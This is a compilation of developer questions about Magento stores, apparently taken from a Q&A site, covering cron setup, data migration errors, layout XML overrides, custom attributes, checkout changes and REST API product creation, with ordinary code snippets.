texts: jquery in how to get the children without tag id using?

texts:
j query in how to get the children  without tag id using ?
i have using table structure to get the children but last children not getting.

I have try this Code

$(document).ajaxComplete(function ()
    {
        var table = $(".data-grid-draggable").children('tbody');
        for (let index = 0; index < table.length; index++)
        {
            if (table[index].children.length != 0)
            {
                var tr_length = table[index].children.length;
                for (let i = 0; i <= tr_length; i++)
                {
                    var td_tr_values = table[index].children[i];
                }
            }
        }
    });


texts:
I am using Magento CE 1.7.0.2 on Linux, cPanel environment.

Search for proper command for cron job in cpanel

So far I got:

PATH to PHP /home/USERNAME/PATH_TO_MAGENTO/cron.php
wget -O /dev/null -q http://www.YOURDOMAIN.com/PATH_TO_MAGENTO/cron.php

What is difference in both command and which one is better?


texts: create root category for Home Appliances B2B Ecommerce Magento2?

texts:
We Need suggestion to create root category for Home Appliances B2B Ecommerce Magento2
For different countries each country has different product, price and language
What is the best scenario to create it?


texts: Magento data migration tool - source and destination documetns are not mapped?

texts:
I'm currently trying to migrate from M1 to M2 using the data migration tool provided by magento. After configuring config.xml and running the command:

php bin/magento migrate:settings --reset vendor/magento/data-migration-tool/etc/opensource-to-opensource/1.9.3.8/config.xml

I receive the following errors:

[2020-02-26 15:27:26][ERROR]: Source documents are not mapped: core_store,core_store_group,core_website
[2020-02-26 15:27:26][ERROR]: Destination documents are not mapped: store,store_group,store_website

I've checked my config for map.xml.dist and I've checked my map.xml.dist for ignoring the documents, so I'm confused and need help.

Anyone pls?

My config.xml changes:

    <source>
    <database host="127.0.0.1" name="somename" user="someuser" password="somepassword"/>
</source>
<destination>
    <database host="127.0.0.1" name="somename" user="someuser" password="somepassword"/>
</destination>

<map_file>etc/opensource-to-opensource/1.9.3.8/map.xml</map_file>
<crypt_key>somekey</crypt_key>

Database m1 screenshot:

Database m2 screenshot:

SOLUTION:
Apparently I switched the names between my m1 db name and my m2 db name in my config.xml.


texts: Add status to category product listing tab

texts:
When in categroy admin, products tab don't show their status in any way.
How to add that kind of feature? What files should I edit?

I think solution could be either:

Add status field to listing header
Add tag like "[Disabled]" to the product name in listing.


texts: MEQP1 standard INSERT detected outside of Resource Model

texts:
Below line causing warning in codesniffer in  MEQP1 standard

$data = $installer->getConnection()->insert($eavTypeTable, array('entity_type_code'=>'test'));

This line causing the Warning

  Data access method INSERT detected outside of Resource Model

How can I solve this?


texts: How to remove an argument's item in LayoutXML

texts:
How can I remove an argument's item in Magento's LyoutXML?

For instance I would like to remove <item name="msrp_price" xsi:type="array"> from catalog_product_prices.xml.

In my theme's catalog_product_prices.xml, I've tried using remove="true" (see below), but it doesn't work, any ideas on how I can achieve this?

<?xml version="1.0"?>
<layout xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/layout_generic.xsd">
    <referenceBlock name="render.product.prices">
        <arguments>
            <argument name="default" xsi:type="array">
                <item name="prices" xsi:type="array">
                    <item name="msrp_price" xsi:type="array" remove="true">
                        <item name="render_class" xsi:type="string">Magento\Msrp\Pricing\Render\PriceBox</item>
                        <item name="render_template" xsi:type="string">Magento_Msrp::product/price/msrp.phtml</item>
                    </item>
                </item>
            </argument>
        </arguments>
    </referenceBlock>
</layout>


texts: Magento design configuration only showing 1 record

texts:
I'm on Magento 2.3.3 and my Design Configuration page within the Admin (Content > Design > Configuration) only shows one record:

It used to show 3 similar to this image but with my website, store and store view names listed:

I have tried clearing cache and running the reindexer command (bin/magento indexer:reindex design_config_grid), but no luck.

My "design_config_grid_flat" table appears to have all of the correct values (my theme_id is '4':

It appears that only entity_id 1 from the table above is getting displayed. Any suggestions on what I am missing? I can't figure out why all 3 rows are not showing. I appreciate any help / suggestions.


texts: Custom Theme is ignored after move to production server

texts:
I recently moved my Magento 2.2.3 site to production server (different server, url and path). However, the custom theme seems to be ignored. If I enter the site, it shows the following error in the var/report files:

  Required parameter 'theme_dir' was not passed
  /.../html/vendor/magento/framework/View/Design/Fallback/Rule/Theme.php(78):
  Magento\Framework\View\Design\Fallback\Rule\Simple->getPatternDirs(Array)

Some people in some threads said that this error is throw where the theme directory is deleted, but the directory is present in the same path of develop. And if I try to run:

  php bin/magento setup:static-content:deploy --theme Vendor/theme es_MX en_US -f

Nothing happens. The strange thing is that it only happens with our custom theme child that we did. The father theme and his other children work without problem.

What could it be?


texts: How to remove Billing Address from Onepage checkout Magento

texts:
I am trying to remove the Billing address step from the Onepage checkout page in Magento, but facing issues. Can anybody please suggest how to remove the step from checkout page in magento.

I tried in the Core files, but it is showing errors.Thanks in advance.


texts:
I use the Mageplaza Owl Carousel. I haven't changed anything, but it doesn't always load, and I get a console error saying owlCarousel is not a function. Other times it loads as expected.
I've cleared all the caches and deployed all of the content multiple times, but it's still inconsistent. How can I get it to work normally?
This is the code
<script>
        require(['jquery', 'mageplaza/core/owl.carousel'], function ($) {
            $('#bannerslider-list-items-<?= /* @noEscape */ $sliderId ?>').owlCarousel(<?= /* @noEscape */ $sliderOptions ?>);
            if(/Android|webOS|iPhone|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ) {
                var widthMb = parseFloat($('.page-wrapper').width()) - 30;
                $('.mp-banner-sidebar').attr('style','max-width: '+widthMb+'px');
            }
        });
    </script>

And in the Mageplaza core module in the requirejs-config there's this entry
'mageplaza/core/owl.carousel': 'Mageplaza_Core/js/owl.carousel.min',


texts: What's de best way to create product with a lot of size options

texts:
Im just a newbie in Magento developer, and I'm studying a creation of an online store, that sells rings.

Each ring has 30 different sizes available and, some of them has an impact on the price. For example, the ring costs $31 in size 15. Less than 15 it costs less $5 and larger than 20 costs more $5.

Totally I have around 200 rings to put in the store.

What is the best way to do this?

Creating a configurable product where each single product is a size, will lead to create around 4000 options.

Create custom options will lead in something similar, right?

Is there any other way?


texts:
So I am trying to make a slideshow appear on a page. The core code is based on a slideshow found on W3Schools. The whole lot works in Sublime text/Chrome, but as soon as I try to run it through magento, it fails, and I think I know why.
When I try to add code to the HTML editor it sometimes doesn't register it. I found that like 90% of the code is correctly copied, except for the 'onclick="currentSLide(1/10)"' event. And I think that is where my code fails.
So I established the problem, now for the solution. But I am at a loss.
I can't add it manually in the HTML editor, because everytime I do that, it just gets erased the second I click "Save and Continue". I tried to give the images the event through the normal editor with "insert/edit attributes", but saving that makes it dissapear too, even before "save and continue". Its like the editor just doesn't register these changes.
Anyone experienced this too or know the solution?
Thanks in advance!


texts: When i am searching in magento it shows duplicate result

texts: category is showing duplicate, means one with corresponding category,another with /, i don't want to display '/' one


texts: How to install Google TAG Manager in magento 1.9

texts: How to install Google TAG Manager (GTM) to Magento 1.9.2 without extension?


texts:
Is there a way to change SKU's en masse using Magmi?

My goal is to change from:

2040-15K9-01-Pal

to:

2040-15K9

What would the be the best way to do something like this?

Note: A regular expression solution is welcome.


texts: Some very few images are rendered with inverted colors by Magento

texts:
We have the problem, that one image in the catalog is shown negatively in Magento below the gallery.

I tried to reproduce with n98-magerun2 dev:console

$i = $di->create('\Magento\Framework\Image',
  ['fileName' => 'original.jpg']);
$i->open();
$i->resize(90,90);
$i->save('small-repro.jpg');

Which I cant.

While I can reproduce it by

rm product/cache/.... $ rm small.jpg

and reloading the category page -> it's shown wrong again.

The image also shoes like this when downloading or showing in different browsers, so it seems to be a problem within the server / Magento.

Did anybody see this before?
How can I dig deeper into it?


texts:
Using Codazon theme developed AjaxCartPro Module

Problem - when a user put product qty more than 10000 no error is showing but just reloading the page

we want to reload then show error message

app\code\Codazon\AjaxCartPro\Controller\Cart\Add.php

app\code\Codazon\AjaxCartPro\view\frontend\web\js\catalog-add-to-cart.js


texts: Magento and PayPal Payments Advanced User Authentication Issue

texts:
I'm using PayPal Payments Advanced and I am receiving an error when clicking the button "Place Order" on my one page checkout. The error is "User Authentication Failed". I have confirmed my credentials in Magento for PayPal. I have gone over the steps provided by both PayPal and Magento for integration multiple times, but have been unable to proceed past this error.

I have tried various solutions for Google, such as updating the Cancel, Error and Return URLs on Manager.PayPal.com, but with no success.


texts: How to override UpgradeSchema.php file in magento2

texts:
I have override following code

<?php
/**
 * Copyright © 2013-2017 Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

namespace Magento\Customer\Setup;

use Magento\Framework\Setup\UpgradeSchemaInterface;
use Magento\Framework\Setup\ModuleContextInterface;
use Magento\Framework\Setup\SchemaSetupInterface;

/**
 * @codeCoverageIgnore
 */
class UpgradeSchema implements UpgradeSchemaInterface
{
    /**
     * {@inheritdoc}
     */
    public function upgrade(SchemaSetupInterface $setup, ModuleContextInterface $context)
    {
        $setup->startSetup();
        if (version_compare($context->getVersion(), '2.0.7', '<')) {
            $setup->getConnection()->addColumn(
                $setup->getTable('customer_entity'),
                'company',
                [
                    'type' => \Magento\Framework\DB\Ddl\Table::TYPE_TEXT,
                     'nullable' => false,
                      '255',
                    'comment' => 'Company Name'
                ]
            );
            $setup->getConnection()->addColumn(
                $setup->getTable('customer_entity'),
                'address',
                [
                    'type' => \Magento\Framework\DB\Ddl\Table::TYPE_TEXT,
                     'nullable' => false,
                      '255',
                    'comment' => 'Address'
                ]
            );
            $setup->getConnection()->addColumn(
                $setup->getTable('customer_entity'),
                'city',
                [
                    'type' => \Magento\Framework\DB\Ddl\Table::TYPE_TEXT,
                     'nullable' => false,
                      '255',
                    'comment' => 'City'
                ]
            );
        }

        $setup->endSetup();
    }
}

but its not working?


texts:
Hi I'm using Table Rates shipping method. Is there a way that the Shipping fee will have a tax as well, right now tax calculation is based only on cart sub total. Is there a way that the shipping fee has a tax as well.

Thank you,
JM


texts: Magento 1.9 Captcha disabled in advance but active in admin login - Can't Login

texts:
Was letting a client play with their site and they didn't like the captcha. So I disabled it in the config/ advanced section but forgot to disable it in the admin and it was left on for admin logins.

Now when we try to login to the admin the captcha image doesn't show as expected but after entering in the correct username and password it then comes back with an invalid catcha error.

So we have no way of logging into the admin to either reactivate captcha or diable it for admin login.

Any help would be appreciated


texts: How to change logo of print order PDF on success page

texts: I am unable to update the store logo on the pdf which get generated when order ia placed and a link to print order PDF is shown to user.


texts: Extend name of group in select box when creating a new customer i admin

texts:
When creating a new customer in admin, you are presented with a select box to select a customer group. E.g.

A custom group
Another custom group

I have extended the table customer_group to include a column for external_id which is imported from another source. I would like to include the value for external_id in this select box. E.g.

A custom group (82726)
Another custom group (23234)
etc.

Does anyone know how this can be accomplished?

Many thanks!


texts: Is it the best strategy to create a store for each country I serve?

texts:
I am starting three Magento projects. One is local and the two other ones are international.

So I though about creating a store for each country for my Magento setup that are international and then have a view for each language.

Is this over kill?
Is it the best strategy?

By the way I am not the only one working on these websites.

One will have many translators and people that will add content to these stores.


texts:
I'm trying to load the product page in my custom module to render the product in a custom category page without reloading the page
(when you click on a product in my category you display the product info in the same page)
here is my controller
    {

        if ($_GET['id'] != "") {
            $id = $_GET['id'];
        } else {
            $id = null;
        }

        $_product = Mage::getModel('catalog/product')->load($id);
        Mage::register('product', $_product);
        Mage::register('current_product', $_product);

        $update = $this->getLayout()->getUpdate();
        $update->addHandle('catalog_product_view');
        $this->addActionLayoutHandles();
        $this->loadLayoutUpdates();
        $this->generateLayoutXml();
        $this->generateLayoutBlocks();

        $block = Mage::app()->getLayout()->getBlock('product.info');
        $html = $block->toHtml();
        echo "$html";

    }

i get the product info, image BUT not the product options
the result in the product page

the result in my cutsom page

how could i load the layout properly in my controller ?


texts: Sort Product Collection by custom integer attribute

texts:
I created a custom_stock_status attribute in my module with 'int' backend type and four options in resource.

array(
4 => 'In Stock',
3 => 'Soon',
2 => 'Out Of Stock',
1 => 'Discontinued',
);

The code I use for this attribute creation:

class Jetkharid_Catalog_Model_Resource_Setup extends Mage_Eav_Model_Entity_Setup
{
  public function getDefaultEntities()
  {
    return array(
      'catalog_product'             => array(
        'entity_model'                   => 'catalog/product',
        'attribute_model'                => 'catalog/resource_eav_attribute',
        'table'                          => 'catalog/product',
        'additional_attribute_table'     => 'catalog/eav_attribute',
        'entity_attribute_collection'    => 'catalog/product_attribute_collection',
        'attributes'                     => array(
          'jetkharid_stock_status'             => array(
            'type'                       => 'int',
            'label'                      => 'Stock Status',
            'input'                      => 'select',
            'source'                     => 'jetkharid_catalog/product_attribute_source_stock_status',
            'required'                   => true,
            'is_configurable'            => false,
            'global'                     => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE,
            'group'                      => 'General Information',
            'searchable'                 => true,
            'used_in_product_listing'    => true,
            'user_defined'               => false,
            'default'                    => 4,
          ),
        ),
      ),
    );
  }
}

And this is my source for this attribute options:

class Jetkharid_Catalog_Model_Product_Attribute_Source_Stock_Status extends Mage_Eav_Model_Entity_Attribute_Source_Abstract
{
  public function getAllOptions()
  {
    if (!$this->_options) {
      $this->_options = array(
        array(
          'value' => 4,
          'label' => Mage::helper('jetkharid_catalog')->__('In Stock')
        ),
        array(
          'value' => 3,
          'label' => Mage::helper('jetkharid_catalog')->__('Soon'),
        ),
        array(
          'value' => 2,
          'label' => Mage::helper('jetkharid_catalog')->__('Out Of Stock'),
        ),
        array(
          'value' => 1,
          'label' => Mage::helper('jetkharid_catalog')->__('Discontinued'),
        )
      );
    }
    return $this->_options;
  }
}

Now I want sort my collection by this attribute, but it seems not working!

How should I do?!

Thanks guys.


texts: After successful migration from Magento 1 to Magento 2 with data migration tool, I don't see Cron Scheduler Option in the Admin

texts: After successful migration from Magento 1 to Magento 2.3.4, I don't see Cron Scheduler Option in the Admin. Please advise me as to how to bring it in.


texts: I am getting Invalid input datetime format of value '11/22/2018' when setting special price in magento 2.3.1.


texts: How to submit a form from custom phtml in Magento 2

texts:
I have created a custom module and I have a custom phtml file with a form.

I have also created a new table for this module.

What I want to do is to insert the value of form in the DB But I actually don't know the flow for that.

What I mean is how can I send my form to a controller and then access the model to make operations?

Can anyone help my with an example how to do that?

Thank you in advance!


texts: Magento 1.9 : Getting customer information on magento success page

texts:
How can i get the both guest and registered customer details such as Firstname and Telephone number on success page ?

I am having order# on that page, So can i get the customer information from order# there ?


texts: Magento 2.2.2 On product page when i save product sometime get error like ''Invalid Form Key'

texts: what is exactly issue and why only sometimes arrive? sometimes working fine. anyone have a permanent solution for that?


texts: Run Tests in Magento 2 for JavaScript issues

texts:
Is there a way I can run tests for JS in Magento 2, we have found quite a few errors in the console, I was just wondering if I could run a test from the cli.

Thanks


texts: Magento 2.3 override public function in Abstract Class

texts:
I need to override the public function getValue(\Magento\Framework\DataObject $object) in the Magento\Eav\Model\Entity\Attribute\Frontend\AbtsractFrontend.
Can anyone tell me how to do it using a plugin (or a different way)?
Thanks


texts: How can I Hide Edit button in Sales Order section in magento

texts:
I want to hide Edit button in Sales  Order Section in magento as shown in below image-

Can anyone help me to hide this button.


texts: How do I retrieve the grand total in order currency using MySQL?

texts:
How do I retrieve the order amount in the order currency using MySQL?
SELECT entity_id, (base_grand_total * store_to_base_rate) AS order_amount, order_currency_code
FROM sales_order o
WHERE o.entity_id = 123
LIMIT 1;


texts: Display 'Choose an Option' in select as title only, not as option

texts:
I would like to keep the title 'Choose an Option' but when the user click on the dropdown, this label not appear in the proposition.
Did you know if it's possible ?

What I currently have and I don't want to change :

What I have when I click :

What I would like to have :

Someone know if it's possible ?

For information, I talk about the dropdown for size in the product page.

The phtml is here :

  src/vendor/magento/module-configurable-product/view/frontend/templates/product/view/type/options/configurable.phtml

And the Js here :

  src/vendor/magento/module-configurable-product/view/frontend/web/js/configurable.js

Thanks,


texts: When I try to Change the category name from "Product Catalog" to "Products" it gives me this error "URL key for specified store already exists."


texts: Magento2.3.3: Call to undefined method Magento\Catalog\Model\ResourceModel\Product\Collection\Interceptor::getFacetedData()

texts:
Working on custom layered navigation on custom collection. follow this solution link

When I apply custom collection in layer.php

public function getProductCollection()
    {
        if (isset($this->_productCollections['custom_navigation'])) {
            $collection = $this->_productCollections['custom_navigation'];
        } else {
            //here you assign your own custom collection of products
            $collection = $this->collectionFactory->create();
            $currentPage = $this->pageViewHelper->getRegistryObject('attributepages_current_page');
            $attributeCode = $currentPage->getAttribute()->getAttributeCode();
            $optionId = $currentPage->getOptionId();
            $collection->addAttributeToFilter($attributeCode, ['eq' => $optionId]);

        }
        return $collection;

Facing an error

Fatal error: Uncaught Error: Call to undefined method Magento\Catalog\Model\ResourceModel\Product\Collection\Interceptor::getFacetedData() in /var/www/html/enviro-safety/vendor/magento/module-catalog-search/Model/Layer/Filter/Category.php:113


texts: Advance reporting is not working for Magento 2

texts:
Advanced reporting is not working for Magento 2.

I have followed all the steps as per the Magento guideline.

But the advance reporting is still not working.


texts: Magento2: Check the payment tab is activated

texts:
I have init js and corresponding template in checkout_index_index (after payment method).

In that template, I have added on checkout after the payment methods.

If I checked the checkbox, I have added a custom fee.

In page-load, I have checked the checkbox using the afterRender method.

But the order total is not reflected with the fee.

How to check the check-box when the payment method tab is activated.


texts: What can be a general approach to connect Magento to an ERP?

texts:
A common problem I am facing is to connect a Magento shop to an Enterprise Resource Planning system (ERP). For almost every ERP I encounter there is no ready to use extension. So I would have to write an extension doing standard data exchange like:

export to ERP: incoming orders, costumers and product quantity
cronjob update product quantity from ERP query

Of course the ERP API is always different but the Magento part is always the same; Register to events, query shop data, create cronjob, ...

I know about tutorials on how to write an extension in general, but how can I get started and which are the basic options for this specific task?


texts: Magento EE: All EE features not loading/partially broke on frontend

texts:
Magento EE Latest version.

So, all of the features are enabled (e.g. gift cards) under advanced modules. However, going to the gift card page (on the RWD default theme) shows that none of the fields to, for example, enter the price of the gift card are there. The XML files between how it currently is and that came with it appear to be the same.

Another example: The same thing happens with the rule based product relations (upsells/crossells, etc). It's calling in the view.phtml echo $this->getChildHtml('upsell_products') but that is going to the default upsell block for upsell.phtml (the one found in catalog.xml). If I remove that block from catalog.xml, nothing shows up anymore. The targetrules is the one it's supposed to be calling.

Where do I start?

Obvious things like disabling the cache haven't resolved it


texts:
My order #100000010 has 3 items. But when I used this code, it did not echo anything. Where is my mistake

<?php
$id_order = 100000010;
$order = Mage::getModel('sales/order')->load($id_order);
$items = $order->getAllItems();
foreach($items as $i):
  echo $_product = Mage::getModel('catalog/product')
            ->load($i->getProductId())->getSku();
endforeach;?>


texts: How do I get rid of multiple H1's on homepage?

texts:
I am relatively new to Magento with past experience of WordPress of few years. I'm trying to get rid of the multiple H1s on the homepage of a new client.

sobefurniture.com

The developer coded the homepage with cms-block as follows:

{{block type="catalog/product_new" template="catalog/product/popular_cats.phtml"}}

The html code (without <> symbols) for it is as follows...

div class="homebannner_slider"

img id="e3t3aWRnZXQgdHlwZT0iY21zL3dpZGdldF9ibG9jayIgdGVtcGxhdGU9ImNtcy93aWRnZXQvc3RhdGljX2Jsb2NrL2RlZmF1bHQucGh0bWwiIGJsb2NrX2lkPSJhcndfc2ViaWFuX2hvbWVfZnVybml0dXJlX2Jsb2NrX2Jhbm5lcl8xIn19" title="{widget type=&quot;cms/widget_block&quot; template=&quot;cms/widget/static_block/default.phtml&quot; block_id=&quot;arw_sebian_home_furniture_block_banner_1&quot;}" alt="" src="https://www.sobefurniture.com/skin/adminhtml/default/default/images/widget/cms__widget_block.gif" /
/div

div class="popular_cat_main">&nbsp;{{block type="catalog/product_new" template="catalog/product/popular_cats.phtml"}}
/div

<iv class="cat_main"
img id="e3t3aWRnZXQgdHlwZT0iY21zL3dpZGdldF9ibG9jayIgdGVtcGxhdGU9ImNtcy93aWRnZXQvc3RhdGljX2Jsb2NrL2RlZmF1bHQucGh0bWwiIGJsb2NrX2lkPSJhcndfc2ViaWFuX2hvbWVfZnVybml0dXJlX2Jsb2NrX3BhcmFsbGF4X2JhY2tncm91bmQifX0-" title="{widget type=&quot;cms/widget_block&quot; template=&quot;cms/widget/static_block/default.phtml&quot; block_id=&quot;arw_sebian_home_furniture_block_parallax_background&quot;}" alt="" src="https://www.sobefurniture.com/skin/adminhtml/default/default/images/widget/cms__widget_block.gif" /
/div

div class="cat_main">&nbsp;/div

div class="cat_main">&nbsp;/div

div class="cat_main"
script type="text/javascript"
// ![CDATA[
jQuery(document).ready(function(){ arexworks.Frontend.fixSlider();})
// ]]
/script
/div

I started out sifting through the static blocks looking for any that would match catalog, product, product_new and there are over 110 enabled (i think many are for possible styles of the template that were not used) and none seem to fit and I can't figure out how to get insight on where to find the right match.

I also have ftp access if this is easier but was unable to locate the right file path to find... catalog/product/popular_cats.phtml

I just want to find where I can adjust the inline style or css to make the h1 look the same while shifting it to an h3 or title tag or something less impactful to SEO.

Any insights or help or tips or advice would be much appreciated.


texts: Magento 2 Can you get Order Increment id from Invoice Increment id?

texts:
I am making a module where I am getting Invoice Increment id but I need Order Increment id. How to get the Order Increment Id by using Invoice Increment id?

If anyone has ideas please let me know.

Thanks.


texts: Data-Migration-Tool doesn't migrate utf-8 characters (Magento 2)

texts:
I use the second step of migration with data-migration-tool 2.0.2 in plain Magento 2.0.4.

php bin/magento migrate:data {config.xml}

Its successfully completed.
But it doesn't migrate utf-8 characters from older Magento1-database to my Magento2-database. Both databases have the collation "utf8_general_ci".

For example in Magento1-database in product table is the value "Maße ..." but in Magento2-database is only "Ma" because of the utf-8 character "ß". The rest of text in this value seems to be cut off. So I see in admin in Products->Catalog also only "Ma" in this product.

How can I solve this problem?


texts: how to download customer csv including shipping address in manage customers grid?

texts:
I have idea we can get including customer address from data flow profiles export customers.

but client  requirement is getting customer information including shipping address from customer grid.

Note: i dont want shipping address columns in grid.but i want columns only in csv.

can you give some over all idea to start this task?


texts: Magento 2 PWA overwrite Gallery component

texts:
I am able to overwrite modify the following components:
Main, App, Footer, Header, Logo, Routes, CategoryTree by following Doc: ref:https://magento.github.io/pwa-studio/tutorials/pwa-studio-fundamentals/modify-site-footer/
To modify component such as CategoryTree i required override Webpack plugin.
REF:https://amasty.com/blog/how-to-create-pwa-storefront-using-magento-2-pwa-studio/
But not able to figure it out how to modify/overwrite Gallery component.
anyone any ideas what I' missing ?


texts: Catalog Management - display multiple colors of configurables in category view

texts:
I have asked this before but the answer was somewhat convoluted and dissatisfactory.

I am looking to achieve the following:

A shoe is sold in many colors and many sizes
The shoe should show up in layered nav filters for sizes that the simples represent, but when filtered the image should change to the corresponding image
Ideally it should be represented by only one configurable product

Currently there are two solutions we have implemented:

Solution 1:

Set one size of each color of the shoe to be visibility Catalog and the configurable to be Catalog, Search
When these simples are displaying in the category we have a plugin which gets the correct URL from the parent configurable and pass the current color/size in the querystring to pre-load the selection when the customer navigates

Solution 2:

Create multiple configurables, each representing a different color.
Each configurable points to the same set of child products
Gallery images take care of the color/image view requirements in catalog

I think that each of these solutions is viable, but I have a feeling that there must be a better way. Any workable suggestions welcome.


texts: Magento how to get all the parents of current category?

texts:
I was just trying to find a code that can get current category and all the parent categories, also if there is a way to get the level of the categories to have a control over them.
I have a code but it gets only the parent of the current category:

<?php
    $currentCat = Mage::registry('current_category');
    if ( $currentCat->getParentId() == Mage::app()->getStore()->getRootCategoryId() )
    {
        // current category is a toplevel category
        $loadCategory = $currentCat;
    } else {
        // current category is a sub-(or subsub-, etc...)category of a toplevel category
        // load the parent category of the current category
        $loadCategory = Mage::getModel('catalog/category')->load($currentCat->getParentId());
    }
    $subCategories = explode(',', $loadCategory->getChildren());
    foreach ( $subCategories as $subCategoryId )
    {
        $cat = Mage::getModel('catalog/category')->load($subCategoryId);
        if($cat->getIsActive())
        {
            echo '
';
            echo 'getURL().'">';
            echo $cat->getName();
            echo '';
            echo '
';
        }
    }

?>

Thanks.


texts: How to change Magento 2.0.7 root folder name

texts:
I'm trying to change the root folder name of my magento installation ... currently it's 'websitename/project' and i want to change it to 'websitename/store'

I have followed the guidelines to change the URL in database (Core_config_data) and tired to clear cache but every time i do it my website shows without template ... i even tired deleting folders in VAR directory but nothing seems to work ...


texts: Magento Get Shopping Cart and Catalog Price Rules

texts:
I am trying to get all my Price Rules/Promotions so that I can loop through them and take their descriptions.

I Can't seem to get Shopping-Cart Rules and Catalog Rules in one request

IS it even possible?????

$catalogrules = Mage::getModel('catalogrule/rule')->load
        ->addFieldToFilter('is_active', 1)
        ->addAttributeToFilter('description', 'notnull');
$cartrules = Mage::getModel('salesrule/rule_collection')->load
        ->addFieldToFilter('is_active', 1)
        ->addAttributeToFilter('description', 'notnull');


texts: Magento 2: Creating configurable product using the REST API

texts:
In order to create configurable product I need to create configurable product, virtual product and finally connect them.

Example of json request got from here: How do I create a configurable product using the REST API v2?

I am wondering why do I need this section below in configurable product?

        "configurable_product_options":[
         {
           "attribute__id":"193",
           "label":"Colour",
           "position":0,
           "values":[
             {
               "value_index":340
             },
             {
               "value_index":341
             }
           ],

I noticed that this section is required in able to connect virtual product to configurable connect later. But values has no meaning.

In virtual product I can assign any value I want. What is the purpose of this values?


texts: How to display data in select box accoding custom_name?

texts:
I have created custom module with 2 option(custom_name, detail_field).

custom_name repeated but detail_field is different always.

Now I want to display data in select box. If I select custom_name(like: test) then all options should be display in dropdown related with custom_name 'test'

For example:

  custom_name:  test1 test2

  Detail_field: Test1-1 test1-11 test1-111 test2-1 test2-11 test2-111

I am getting the collection as below:

$coll = Mage::getModel('customdetail/detail')->getCollection();
echo '<pre>'; print_r($coll->getData());


texts: Not even a single product is displayed at frontend

texts: The database is migrated to  server.Still the theme is not yet uploaded to the server and currently the site is in rwd/default.Now the categories are showing up but products are not showing up at the frontend(List & details page) and the attributes are not showing up inside the attribute sets at backend.What should be done?


texts: Apply/change sales rule discount programmatically based on customer group

texts:
Is there any way to apply a global discount dynamically based on the customer group.
Eg. Customer A belongs to Group1 and defines global sales discount 10% when he logs in and add products to the cart.
Customer B belongs to Group2 and defines global sales discount 5% when he logs in and adds products to the cart.
Also this discount should be displayed everywhere cart/invoice/shipment.
I have checked several link but all are custom discount like This
Would like to change sales discount on the fly based on customer logged in.


texts: Magento 2.2 Override Sales Invoice attachment files

texts:
We need to override following files in custom module.

/data/magento2/vendor/magento/module-sales/Model/Order/Pdf/AbstractPdf.php
/data/magento2/vendor/magento/module-sales/Model/Order/Pdf/Invoice.php
/data/magento2/vendor/magento/module-sales/Model/Order/Pdf/Items/AbstractItems.php
/data/magento2/vendor/magento/module-sales/Model/Order/Pdf/Items/Invoice/DefaultInvoice.php

We've tried many different ways but that didn't work. So Please help me the proper ways to override vendor files in App/Code. Magento 2.2


texts: Rest Api - call custom rest api function

texts: i am beginner in creating Rest api, i dont know from where to start. till now am able to pull products list using http://my_host.com/api/rest/products. but am confused what will my url for calling custom function


texts: how to get default order status for invoice

texts:
i am creating a module and i need the default order status for invoice.
i know the default status is processing but i don't want to hard code it.
i am already creating the invoice but the order status is not changing.
how can i get that any help will be appreciated.

this is how i generate invoice

 $order=Mage::getModel('sales/order')->load($orderid);
     try {
           if(!$order->canInvoice())
           {
              $error=true;
              $ids[]=$order->getIncrementId();
           }else {

           $invoice = Mage::getModel('sales/service_order', $order)->prepareInvoice();

           if (!$invoice->getTotalQty()) {
           Mage::throwException(Mage::helper('core')->__('Cannot create an invoice without products.'));
           }

           $invoice->setRequestedCaptureCase(Mage_Sales_Model_Order_Invoice::CAPTURE_ONLINE);
           $invoice->register();
           $transactionSave = Mage::getModel('core/resource_transaction')
           ->addObject($invoice)
           ->addObject($invoice->getOrder());

           $transactionSave->save();
           $sucess=true;
           $i++;
           }
        }
     catch (Mage_Core_Exception $e) {

        }

     }


texts:
Is it possible in a sensible amount of time?

I didn't find anyone doing it, but maybe there is some examples?


texts:
I've this code on template/default/catalog/product/view/media.phtml page. I want to retrieve full size gallery images to display here in li's under ul's. The problem is that with this code, i'm getting thumbnail size media images.

<?php
    $_product = $this->getProduct();
    $_helper = $this->helper('catalog/output');
    $imgSize = 286;
?>

<?php $j=1; ?>
<?php foreach ($_images as $_image): ?>
    <li class="<?php if ($j==1) echo "current"; echo ""; ?> gal-<?php echo $j?>">
      <img src="<?php echo $this->helper('catalog/image')->init($this->getProduct(), 'image', $_image->getFile())->constrainOnly(TRUE)->keepAspectRatio(TRUE)->keepFrame(FALSE)->resize($imgSize, NULL); ?>" alt="<?php echo $this->htmlEscape($_image->getLabel()) ?>"/>

    <?php $j++; ?>
<?php endforeach; ?>

This is what i'm getting now:

This is what i want to get:

Please note that the problem is not with the size of the image (thumbnail image is of good size), but the dimensions of it(thumbnail image is cropped).


texts:
How could I generate EAN code for existing products and also how could I create automatically this EAN when adding a new product?

On what is this EAN code based on?


texts: Is there an “if on home page” type conditional? or force a block to show only on home page

texts:
I decide to use Notification Bar extension to show a notification just in home page.
But this extension shows the notification on all pages.

I found that there is a notifications.phtml file in app\design\frontend\base\default\template\notificationbar\html\
with this content:

    <?php
/**
 * Datepicker adminhtml configuration control based on the
 * Mage_Adminhtml_Block_Report_Config_Form_Field_YtdStart control.
 *
 * @author Justin Stern (www.foxrunsoftware.net)
 * @copyright  Copyright (c) 2012 All Rights Reserved, http://www.foxrunsoftware.net
 * @license    FoxRunSoftware License Agreement
 *
 * THIS CODE AND INFORMATION ARE PROVIDED "AS IS" WITHOUT WARRANTY OF ANY
 * KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
 * PARTICULAR PURPOSE.
 *
 * @category design
 * @package  base_default
 */
?>
<?php
/**
 * @see FoxRunSoftware_NotificationBar_Block_Html_Notifications
 */
?>
<?php if ($this->displayNotifications()): ?>

<?php echo $this->getNotificationContent(); ?><?php if($this->allowClearControl()) : ?>×<?php endif; ?>

    <?php if($this->allowClearControl()) : ?>

    <?php endif; ?>
<?php endif; ?>

I found that I should alter this line:

<?php if ($this->displayNotifications()): ?>

Is there some way to determine if the page being served is  home page?


texts: Adding url rewrites directly into database

